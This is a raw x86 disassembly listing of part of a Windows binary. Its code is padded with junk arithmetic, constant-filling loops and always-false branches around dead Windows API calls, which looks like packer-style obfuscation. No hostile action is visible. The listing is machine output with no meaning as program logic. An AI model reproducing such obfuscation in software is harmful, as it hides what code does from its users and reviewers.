push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xb28]
mov dword [ebp + eax - 0xc64], ecx
cmp dword [ebp - 0xb28], 0
jne 0x48de73
mov eax, 0xffff
test eax, eax
jne 0x48de73
and dword [ebp - 0x1a54], 0
jmp 0x48de7d
mov dword [ebp - 0x1a54], 1
cmp dword [ebp - 0x1a54], 0xfffffff6
jne 0x48de92
mov dword [ebp - 0x1a5c], 1
jmp 0x48de99
and dword [ebp - 0x1a5c], 0
mov eax, dword [ebp - 0x1a5c]
mov dword [ebp - 0x1a64], eax
mov eax, dword [ebp - 0x1a64]
sub eax, dword [ebp - 0xd0]
cmp eax, 0xfffffffc
jbe 0x48decb
cmp dword [ebp - 0xd0], 0
je 0x48decb
mov dword [ebp - 0x1a6c], 1
jmp 0x48ded2
and dword [ebp - 0x1a6c], 0
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0x1a6c], eax
je 0x48deec
mov dword [ebp - 0x1a74], 1
jmp 0x48def3
and dword [ebp - 0x1a74], 0
mov eax, dword [ebp - 0x1a74]
mov dword [ebp - 0xb30], eax
mov eax, dword [ebp - 0xb30]
mov dword [ebp - 0x3018], eax
cmp dword [ebp - 0xb30], 5
jg 0x48df20
mov dword [ebp - 0x788], 0
mov dword [ebp - 0x788], 0xfffffffd
jmp 0x48e13f
mov eax, dword [ebp - 0x788]
inc eax
mov dword [ebp - 0x788], eax
cmp dword [ebp - 0x788], 0xffffffff
jg 0x48e187
mov byte [ebp - 0x358], 0
movzx eax, byte [ebp - 0x358]
test eax, eax
je 0x48e164
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov byte [ebp - 0x2bf], 0
movzx eax, byte [ebp - 0x2bf]
test eax, eax
je 0x48e185
push 0
push 0
push 0x14eb
call dword [sym.imp.ADVAPI32.dll_CopySid]
jmp 0x48e132
mov dword [ebp - 0xd8], 0
jmp 0x48e1a0
mov eax, dword [ebp - 0xd8]
dec eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0xffffffe5
jg 0x48e204
mov dword [ebp - 0x790], 1
mov dword [ebp - 0x790], 0
jmp 0x48e1cc
mov eax, dword [ebp - 0x790]
inc eax
mov dword [ebp - 0x790], eax
cmp dword [ebp - 0x790], 0
jg 0x48e202
mov byte [ebp - 0x333], 0
movzx eax, byte [ebp - 0x333]
test eax, eax
je 0x48e200
push 0x18c9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
jmp 0x48e1bf
jmp 0x48e193
mov dword [ebp - 0x11c], 0x5934215e
mov dword [ebp - 0xb40], 0xbf2465cd
mov dword [ebp - 0x24a8], 0xffffffff
mov dword [ebp - 0x798], 0
jmp 0x48e23b
mov eax, dword [ebp - 0x798]
inc eax
mov dword [ebp - 0x798], eax
cmp dword [ebp - 0x798], 3
jge 0x48e257
mov eax, dword [ebp - 0x798]
mov dword [ebp + eax*4 - 0x2acc], 0xff7503ae
jmp 0x48e22e
cmp dword [ebp - 0xb40], 0
je 0x48e275
mov eax, 0x60a4
test eax, eax
je 0x48e275
mov dword [ebp - 0x1acc], 1
jmp 0x48e27c
and dword [ebp - 0x1acc], 0
cmp dword [ebp - 0x1acc], 0x3c225155
jg 0x48e294
mov dword [ebp - 0x1ad4], 1
jmp 0x48e29b
and dword [ebp - 0x1ad4], 0
imul eax, dword [ebp - 0x1ad4], 0xbec0
test eax, eax
jne 0x48e2b9
push 0xfffffffffffffff6
pop eax
test eax, eax
jne 0x48e2b9
and dword [ebp - 0x2490], 0
jmp 0x48e2c3
mov dword [ebp - 0x2490], 1
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x3020], eax
mov eax, dword [ebp - 0xb40]
cmp dword [ebp - 0x11c], eax
jge 0x48e2e9
mov dword [ebp - 0x1adc], 1
jmp 0x48e2f0
and dword [ebp - 0x1adc], 0
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x1adc], eax
jge 0x48e30a
mov dword [ebp - 0x1ae4], 1
jmp 0x48e311
and dword [ebp - 0x1ae4], 0
cmp dword [ebp - 0x1ae4], 0x69be
jl 0x48e32f
cmp dword [ebp - 0x11c], 0
jne 0x48e32f
and dword [ebp - 0x1aec], 0
jmp 0x48e339
mov dword [ebp - 0x1aec], 1
mov eax, dword [ebp - 0x1aec]
sub eax, 0x562b
cmp eax, dword [ebp - 0x11c]
jl 0x48e358
mov dword [ebp - 0x1af4], 1
jmp 0x48e35f
and dword [ebp - 0x1af4], 0
imul eax, dword [ebp - 0x1af4], 0xffff
cmp eax, dword [ebp - 0xb40]
jge 0x48e4fe
mov dword [ebp - 0x2498], 0
mov dword [ebp - 0xb50], 4
mov dword [ebp - 0xb48], 0xc7a2
mov dword [ebp - 0x24a0], 1
mov dword [ebp - 0x7a0], 0
jmp 0x48e3b6
mov eax, dword [ebp - 0x7a0]
inc eax
mov dword [ebp - 0x7a0], eax
cmp dword [ebp - 0x7a0], 2
jge 0x48e3d2
mov eax, dword [ebp - 0x7a0]
mov dword [ebp + eax*4 - 0x2f78], 0
jmp 0x48e3a9
mov eax, dword [ebp - 0x2498]
mov dword [ebp - 0xb50], eax
xor eax, eax
jne 0x48e4af
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0xb48], eax
je 0x48e400
mov dword [ebp - 0x1afc], 1
jmp 0x48e407
and dword [ebp - 0x1afc], 0
cmp dword [ebp - 0xb48], 0
je 0x48e425
cmp dword [ebp - 0xb48], 0
je 0x48e425
mov dword [ebp - 0x1b04], 1
jmp 0x48e42c
and dword [ebp - 0x1b04], 0
mov eax, dword [ebp - 0x1afc]
cmp eax, dword [ebp - 0x1b04]
jl 0x48e446
mov dword [ebp - 0x1b0c], 1
jmp 0x48e44d
and dword [ebp - 0x1b0c], 0
cmp dword [ebp - 0x1b0c], 0xfe35
je 0x48e465
mov dword [ebp - 0x1b14], 1
jmp 0x48e46c
and dword [ebp - 0x1b14], 0
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0xb50], eax
mov eax, dword [ebp - 0xb50]
sub eax, dword [ebp - 0x1b14]
mov dword [ebp - 0x1b1c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1b1c]
mov dword [ebp + eax - 0x2f78], ecx
cmp dword [ebp - 0x1b1c], 0
jne 0x48e4af
and dword [ebp - 0x1b24], 0
jmp 0x48e4b9
mov dword [ebp - 0x1b24], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2acc]
cmp dword [ebp - 0x1b24], eax
jg 0x48e4da
mov dword [ebp - 0x1b2c], 1
jmp 0x48e4e1
and dword [ebp - 0x1b2c], 0
mov eax, dword [ebp - 0x1b2c]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x24a0], eax
jmp 0x48e5de
mov dword [ebp - 0x33f8], 1
mov dword [ebp - 0x1b34], 0x9945c66b
mov dword [ebp - 0x7a8], 0
jmp 0x48e52b
mov eax, dword [ebp - 0x7a8]
inc eax
mov dword [ebp - 0x7a8], eax
cmp dword [ebp - 0x7a8], 4
jge 0x48e547
mov eax, dword [ebp - 0x7a8]
mov dword [ebp + eax*4 - 0x3680], 0x777b
jmp 0x48e51e
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2acc]
mov dword [ebp - 0x3028], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2acc]
mov dword [ebp - 0x1b34], eax
cmp dword [ebp - 0x1b34], 6
jl 0x48e581
mov dword [ebp - 0x1b3c], 1
jmp 0x48e588
and dword [ebp - 0x1b3c], 0
cmp dword [ebp - 0x1b3c], 3
jge 0x48e59d
mov dword [ebp - 0x1b44], 1
jmp 0x48e5a4
and dword [ebp - 0x1b44], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3680]
imul eax, dword [ebp - 0x1b44]
cmp eax, dword [ebp - 0x24a8]
jl 0x48e5cb
mov dword [ebp - 0x1b4c], 1
jmp 0x48e5d2
and dword [ebp - 0x1b4c], 0
mov eax, dword [ebp - 0x1b4c]
mov dword [ebp - 0x11c], eax
call fcn.004777c0
mov dword [ebp - 0x634], 0xffffffff
mov dword [ebp - 0x7b0], 0
jmp 0x48e606
mov eax, dword [ebp - 0x7b0]
inc eax
mov dword [ebp - 0x7b0], eax
cmp dword [ebp - 0x7b0], 4
jge 0x48e622
mov eax, dword [ebp - 0x7b0]
mov dword [ebp + eax*4 - 0x3698], 0x28c176b0
jmp 0x48e5f9
mov dword [ebp - 0x634], 0
jmp 0x48e63b
cmp dword [ebp - 0x634], 3
jg 0x48e658
mov eax, dword [ebp - 0x634]
cmp dword [ebp + eax*4 - 0x3698], 0
je 0x48e656
jmp 0x48e658
jmp 0x48e62e
mov dword [ebp - 0x7b8], 0x146cdead
mov dword [ebp - 0xb70], 0x8fa48a2b
mov dword [ebp - 0x3264], 0x39d5b611
mov dword [ebp - 0x24b8], 0
mov dword [ebp - 0x1bb4], 0xffffffff
mov dword [ebp - 0xb68], 0xfffffffd
mov dword [ebp - 0xb80], 0x32b7b88c
mov dword [ebp - 0xb60], 0xff5ecce3
mov dword [ebp - 0x1bbc], 0x2ef7e291
mov dword [ebp - 0x24b0], 1
mov dword [ebp - 0x1b54], 0
mov dword [ebp - 0x24c8], 0x8404d083
mov dword [ebp - 0x24d0], 0x936b
mov dword [ebp - 0x3030], 0x4a05a9ee
mov dword [ebp - 0xb58], 0xfff6
mov dword [ebp - 0xb78], 0xffffffff
mov dword [ebp - 0x1bc], 0
jmp 0x48e711
cmp dword [ebp - 0x1bc], 2
jge 0x48e72d
mov dword [ebp - 0x98], 0xfffffff9
mov dword [ebp - 0x1cc], 0
jmp 0x48ee69
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 1
jge 0x48ee85
mov eax, dword [ebp - 0x1cc]
mov dword [ebp + eax*4 - 0x2500], 0
jmp 0x48ee5c
mov dword [ebp - 0x1cc], 0
jmp 0x48ee9e
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 3
jge 0x48eeba
mov eax, dword [ebp - 0x1cc]
mov dword [ebp + eax*4 - 0x34fc], 1
jmp 0x48ee91
mov dword [ebp - 0x98], 0
jmp 0x48eed3
mov eax, dword [ebp - 0x98]
dec eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0xffffffe4
jne 0x48f0df
mov dword [ebp - 0x1d4], 0x8999d94b
mov dword [ebp - 0xb98], 9
mov dword [ebp - 0x2ba8], 0xc0f1fa6f
mov dword [ebp - 0x2bb0], 0x1b5f7a0d
mov dword [ebp - 0x2bb8], 1
mov dword [ebp - 0x2bc0], 0xfffffffd
mov dword [ebp - 0xd40], 4
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x2bc8], eax
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x2bd0], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x2bd8], eax
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x2be0], eax
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x2be8], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x2bf0], eax
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x2bf8], eax
mov eax, dword [ebp - 0xb98]
cmp dword [ebp - 0x1d4], eax
jl 0x48ef94
mov dword [ebp - 0xd08], 1
jmp 0x48ef9b
and dword [ebp - 0xd08], 0
mov eax, dword [ebp - 0xb98]
cmp dword [ebp - 0xd08], eax
jle 0x48efb5
mov dword [ebp - 0xd10], 1
jmp 0x48efbc
and dword [ebp - 0xd10], 0
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0xd10], eax
je 0x48efdc
cmp dword [ebp - 0xb98], 0
jne 0x48efdc
and dword [ebp - 0x24f8], 0
jmp 0x48efe6
mov dword [ebp - 0x24f8], 1
cmp dword [ebp - 0x98], 0
je 0x48f00b
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2500], 0
je 0x48f00b
mov dword [ebp - 0x2508], 1
jmp 0x48f012
and dword [ebp - 0x2508], 0
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x2c00], eax
mov eax, dword [ebp - 0x1d4]
cmp dword [ebp - 0x1d4], eax
jl 0x48f038
mov dword [ebp - 0xd18], 1
jmp 0x48f03f
and dword [ebp - 0xd18], 0
cmp dword [ebp - 0xd18], 1
jg 0x48f058
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x48f058
and dword [ebp - 0xd20], 0
jmp 0x48f062
mov dword [ebp - 0xd20], 1
cmp dword [ebp - 0xd20], 1
je 0x48f077
mov dword [ebp - 0xd28], 1
jmp 0x48f07e
and dword [ebp - 0xd28], 0
cmp dword [ebp - 0xd28], 5
jle 0x48f093
mov dword [ebp - 0xd30], 1
jmp 0x48f09a
and dword [ebp - 0xd30], 0
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0xd30], eax
jg 0x48f0b4
mov dword [ebp - 0xd38], 1
jmp 0x48f0bb
and dword [ebp - 0xd38], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xd38]
mov dword [ebp + eax - 0x34fc], ecx
mov eax, dword [ebp - 0xd40]
inc eax
mov dword [ebp - 0xd40], eax
jmp 0x48eec6
mov dword [ebp - 0x98], 0
jmp 0x48f0f8
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 8
jg 0x48f124
mov byte [ebp - 0x2c1], 0
movzx eax, byte [ebp - 0x2c1]
test eax, eax
je 0x48f122
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
jmp 0x48f0eb
xor ecx, ecx
call fcn.0044eb78
push eax
call fcn.00495212
pop ecx
mov dword [ebp - 0x544], 0x57fd5464
mov dword [ebp - 0x2510], 0x9bfaead2
mov dword [ebp - 0x7c8], 0
jmp 0x48f15f
mov eax, dword [ebp - 0x7c8]
inc eax
mov dword [ebp - 0x7c8], eax
cmp dword [ebp - 0x7c8], 3
jge 0x48f17b
mov eax, dword [ebp - 0x7c8]
mov dword [ebp + eax*4 - 0x27f8], 0xd7b1
jmp 0x48f152
mov byte [ebp - 0x469], 0
movzx eax, byte [ebp - 0x469]
test eax, eax
je 0x48f19f
push 0x149f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
mov dword [ebp - 0x544], 0
jmp 0x48f1b8
mov eax, dword [ebp - 0x544]
dec eax
mov dword [ebp - 0x544], eax
cmp dword [ebp - 0x544], 0xfffffffb
jl 0x48f4f9
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdb0], 0xb9c6fec1
mov dword [ebp - 0x7d0], 0
jmp 0x48f1f2
mov eax, dword [ebp - 0x7d0]
inc eax
mov dword [ebp - 0x7d0], eax
cmp dword [ebp - 0x7d0], 1
jge 0x48f20e
mov eax, dword [ebp - 0x7d0]
mov dword [ebp + eax*4 - 0xd90], 7
jmp 0x48f1e5
mov dword [ebp - 0xe0], 0
jmp 0x48f227
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 2
jg 0x48f4c9
mov dword [ebp - 0xba0], 0xffffffff
mov eax, dword [ebp - 0xe0]
cmp dword [ebp + eax*4 - 0x27f8], 0
je 0x48f263
mov eax, dword [ebp - 0xe0]
dec eax
je 0x48f263
mov dword [ebp - 0xd50], 1
jmp 0x48f26a
and dword [ebp - 0xd50], 0
mov eax, dword [ebp - 0x544]
mov dword [ebp - 0x2c08], eax
mov eax, dword [ebp - 0xe0]
cmp dword [ebp + eax*4 - 0x27f8], 0x25f5f996
jle 0x48f295
mov dword [ebp - 0xd48], 1
jmp 0x48f29c
and dword [ebp - 0xd48], 0
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0xd48], eax
jl 0x48f2b6
mov dword [ebp - 0xd58], 1
jmp 0x48f2bd
and dword [ebp - 0xd58], 0
mov eax, dword [ebp - 0xd50]
cmp eax, dword [ebp - 0xd58]
jne 0x48f2d7
mov dword [ebp - 0xd60], 1
jmp 0x48f2de
and dword [ebp - 0xd60], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x27f8]
cmp dword [ebp - 0xd60], eax
jle 0x48f3c7
mov dword [ebp - 0xd78], 0xffffffff
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp + eax*4 - 0x27f8]
mov dword [ebp - 0x2c10], eax
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x544], eax
jg 0x48f32d
mov dword [ebp - 0xd68], 1
jmp 0x48f334
and dword [ebp - 0xd68], 0
mov eax, dword [ebp - 0xd78]
imul eax, dword [ebp - 0xd68]
test eax, eax
jne 0x48f353
xor eax, eax
inc eax
jne 0x48f353
and dword [ebp - 0xd70], 0
jmp 0x48f35d
mov dword [ebp - 0xd70], 1
mov eax, dword [ebp - 0xd70]
mov dword [ebp - 0xba0], eax
mov eax, dword [ebp - 0xd78]
cmp dword [ebp - 0xba0], eax
je 0x48f383
mov dword [ebp - 0xd80], 1
jmp 0x48f38a
and dword [ebp - 0xd80], 0
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xd80]
add ecx, dword [ebp + eax*4 - 0x27f8]
mov dword [ebp - 0xd88], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd88]
mov dword [ebp + eax - 0xd90], ecx
mov eax, dword [ebp - 0xd88]
mov dword [ebp - 0xdb0], eax
jmp 0x48f4b8
mov dword [ebp - 0x63c], 0xb4743079
mov dword [ebp - 0x2c18], 0x86c8a81d
mov eax, dword [ebp - 0xba0]
mov dword [ebp - 0xd98], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd98]
mov dword [ebp + eax - 0xd90], ecx
cmp dword [ebp - 0xd98], 0xfffffff7
jl 0x48f40f
mov dword [ebp - 0xda0], 1
jmp 0x48f416
and dword [ebp - 0xda0], 0
mov eax, dword [ebp - 0xda0]
mov dword [ebp - 0x63c], eax
mov dword [ebp - 0x63c], 0
jmp 0x48f43b
mov eax, dword [ebp - 0x63c]
inc eax
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], 2
jg 0x48f4b8
mov dword [ebp - 0x7d8], 0
jmp 0x48f45d
mov eax, dword [ebp - 0x7d8]
inc eax
mov dword [ebp - 0x7d8], eax
cmp dword [ebp - 0x7d8], 1
jge 0x48f479
mov eax, dword [ebp - 0x7d8]
mov dword [ebp + eax*4 - 0xda8], 0xffffffff
jmp 0x48f450
mov byte [ebp - 0x2c3], 0
movzx eax, byte [ebp - 0x2c3]
test eax, eax
je 0x48f498
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xda8]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xda8], eax
jmp 0x48f42e
mov eax, dword [ebp - 0xdb0]
mov dword [ebp - 0x2510], eax
jmp 0x48f21a
mov byte [ebp - 0x335], 0
movzx eax, byte [ebp - 0x335]
test eax, eax
je 0x48f4f4
push 0x12e5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
jmp 0x48f1ab
mov dword [ebp - 0xdb8], 0xe0cf
mov dword [ebp - 0x7e0], 0
jmp 0x48f51c
mov eax, dword [ebp - 0x7e0]
inc eax
mov dword [ebp - 0x7e0], eax
cmp dword [ebp - 0x7e0], 1
jge 0x48f538
mov eax, dword [ebp - 0x7e0]
mov dword [ebp + eax*4 - 0x2c20], 0xfffd
jmp 0x48f50f
mov byte [ebp - 0x2c5], 0
movzx eax, byte [ebp - 0x2c5]
test eax, eax
je 0x48f554
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
mov eax, dword [ebp - 0xdb8]
inc eax
mov dword [ebp - 0xdb8], eax
push 0
push 0
push 0
push 0
push 0x19
push 0x64
push 0x1863b
push 0x18695
push 0x90000000
push 0xabab78
push 0xabab78
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0xbe0], eax
push 5
push dword [ebp - 0xbe0]
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x2a4], 0
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x2540], 0xcf94a228
mov dword [ebp - 0xeb0], 0xbf771356
mov dword [ebp - 0xe98], 0xfffffffa
mov dword [ebp - 0xbc0], 0xffffffff
mov dword [ebp - 0x2550], 0xfffffffe
mov dword [ebp - 0x1dc], 0
jmp 0x48f5fe
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 2
jge 0x48f61a
mov eax, dword [ebp - 0x1dc]
mov dword [ebp + eax*4 - 0x2204], 0xffffffff
jmp 0x48f5f1
mov dword [ebp - 0x1dc], 0
jmp 0x48f633
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 2
jge 0x48f64f
mov eax, dword [ebp - 0x1dc]
mov dword [ebp + eax*4 - 0x26f8], 0xffffffff
jmp 0x48f626
mov eax, dword [ebp - 0x2a4]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x48f9f6
mov dword [ebp - 0xba8], 0x65ab
mov dword [ebp - 0x48], 0
jmp 0x48f67c
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jge 0x48f692
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x2a2c], 0x8cccddd
jmp 0x48f675
mov dword [ebp - 0x48], 0
jmp 0x48f6a2
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jge 0x48f6b8
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x220c], 6
jmp 0x48f69b
mov dword [ebp - 0x48], 0
jmp 0x48f6c8
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
jge 0x48f6de
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x349c], 0x828c040c
jmp 0x48f6c1
mov eax, 0xc84b
test eax, eax
je 0x48f703
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2a4]
mov dword [ebp + eax - 0x220c], ecx
mov eax, 0xcc8a
test eax, eax
jne 0x48f708
xor eax, eax
inc eax
je 0x48f72d
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x220c], 0
je 0x48f72d
mov eax, 0x628e
test eax, eax
je 0x48f72d
mov dword [ebp - 0xdc0], 1
jmp 0x48f734
and dword [ebp - 0xdc0], 0
mov eax, dword [ebp - 0xba8]
cmp dword [ebp - 0xdc0], eax
jl 0x48f74e
mov dword [ebp - 0xdc8], 1
jmp 0x48f755
and dword [ebp - 0xdc8], 0
cmp dword [ebp - 0xdc8], 0xfffffff9
jge 0x48f76a
mov dword [ebp - 0xdd0], 1
jmp 0x48f771
and dword [ebp - 0xdd0], 0
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0xdd0]
add eax, 4
cmp eax, 0xffffffff
jg 0x48f78f
mov dword [ebp - 0xdd8], 1
jmp 0x48f796
and dword [ebp - 0xdd8], 0
mov eax, dword [ebp - 0x1c]
neg eax
cmp eax, dword [ebp - 0xdd8]
jl 0x48f7af
mov dword [ebp - 0xde0], 1
jmp 0x48f7b6
and dword [ebp - 0xde0], 0
cmp dword [ebp - 0xde0], 0x295a
jge 0x48f7ce
mov dword [ebp - 0xde8], 1
jmp 0x48f7d5
and dword [ebp - 0xde8], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0xde8], eax
jl 0x48f7ec
mov dword [ebp - 0xdf0], 1
jmp 0x48f7f3
and dword [ebp - 0xdf0], 0
cmp dword [ebp - 0xdf0], 0xffffffff
jg 0x48f808
mov dword [ebp - 0xdf8], 1
jmp 0x48f80f
and dword [ebp - 0xdf8], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0xdf8], eax
jne 0x48f826
mov dword [ebp - 0xe00], 1
jmp 0x48f82d
and dword [ebp - 0xe00], 0
mov eax, dword [ebp - 0x2a4]
cmp dword [ebp - 0xe00], eax
jle 0x48f847
mov dword [ebp - 0xe08], 1
jmp 0x48f84e
and dword [ebp - 0xe08], 0
mov eax, dword [ebp - 0xe08]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb1bb30b1
jae 0x48f86c
mov dword [ebp - 0xe10], 1
jmp 0x48f873
and dword [ebp - 0xe10], 0
mov eax, dword [ebp - 0x2a4]
mov dword [ebp - 0x2c28], eax
mov eax, dword [ebp - 0xba8]
mov dword [ebp - 0x2c30], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2a4]
cmp dword [ebp + eax - 0x2a2c], ecx
jge 0x48f8ac
mov dword [ebp - 0xe18], 1
jmp 0x48f8b3
and dword [ebp - 0xe18], 0
cmp dword [ebp - 0xe18], 0xfffffff7
jne 0x48f8c8
mov dword [ebp - 0xe20], 1
jmp 0x48f8cf
and dword [ebp - 0xe20], 0
mov eax, dword [ebp - 0x2a4]
cmp dword [ebp - 0xe20], eax
jle 0x48f8e9
mov dword [ebp - 0xe28], 1
jmp 0x48f8f0
and dword [ebp - 0xe28], 0
mov eax, dword [ebp - 0x2a4]
cmp dword [ebp - 0xe28], eax
jg 0x48f90a
mov dword [ebp - 0xe30], 1
jmp 0x48f911
and dword [ebp - 0xe30], 0
cmp dword [ebp - 0xe30], 0x97a8d1d9
jae 0x48f929
mov dword [ebp - 0xe38], 1
jmp 0x48f930
and dword [ebp - 0xe38], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a2c]
add eax, dword [ebp - 0xe38]
je 0x48f94c
cmp dword [ebp - 0xba8], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x220c], 0
je 0x48f971
mov eax, 0xd890f6da
test eax, eax
je 0x48f971
mov dword [ebp - 0xe40], 1
jmp 0x48f978
and dword [ebp - 0xe40], 0
mov eax, dword [ebp - 0xe40]
add eax, 0xdc630de2
mov dword [ebp - 0xe48], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xe48]
mov dword [ebp + eax - 0x349c], ecx
cmp dword [ebp - 0xe48], 1
je 0x48f9b1
mov dword [ebp - 0xe50], 1
jmp 0x48f9b8
and dword [ebp - 0xe50], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xe50]
mov dword [ebp + eax - 0x2204], ecx
mov dword [ebp - 0x1c], 0
jmp 0x48f9db
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x48f9f1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x220c], 0xfffffffc
jmp 0x48f9d4
jmp 0x48fc8d
mov dword [ebp - 0x2c38], 0x5f5ab95d
mov dword [ebp - 0x2c40], 0xa6b3
mov dword [ebp - 0x2c48], 0xeaf5
mov dword [ebp - 0x2c50], 0xd03168f1
mov dword [ebp - 0xbb0], 0xfffd
mov dword [ebp - 0xe60], 0xfffffffe
mov dword [ebp - 0x1e4], 0
jmp 0x48fa4b
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 3
jge 0x48fa67
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0x355c], 0x99d012cd
jmp 0x48fa3e
mov dword [ebp - 0x1e4], 0
jmp 0x48fa80
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 2
jge 0x48fa9c
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0x3588], 0xe0c42ef3
jmp 0x48fa73
mov dword [ebp - 0x1c], 0
jmp 0x48faac
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 6
jl 0x48fc8d
mov dword [ebp - 0xbb8], 0xf0a86225
mov dword [ebp - 0x2520], 0xfffffffc
mov dword [ebp - 0x2518], 1
mov dword [ebp - 0x7e8], 0
jmp 0x48faed
mov eax, dword [ebp - 0x7e8]
inc eax
mov dword [ebp - 0x7e8], eax
cmp dword [ebp - 0x7e8], 3
jge 0x48fb09
mov eax, dword [ebp - 0x7e8]
mov dword [ebp + eax*4 - 0x34b4], 0x914d865e
jmp 0x48fae0
xor eax, eax
inc eax
je 0x48fc2d
mov eax, dword [ebp - 0xbb0]
dec eax
mov dword [ebp - 0xbb0], eax
mov eax, dword [ebp - 0x2518]
cmp dword [ebp - 0xbb0], eax
jge 0x48fb39
mov dword [ebp - 0xe58], 1
jmp 0x48fb40
and dword [ebp - 0xe58], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x355c]
cmp eax, dword [ebp - 0xe58]
jne 0x48fb60
mov dword [ebp - 0xe78], 1
jmp 0x48fb67
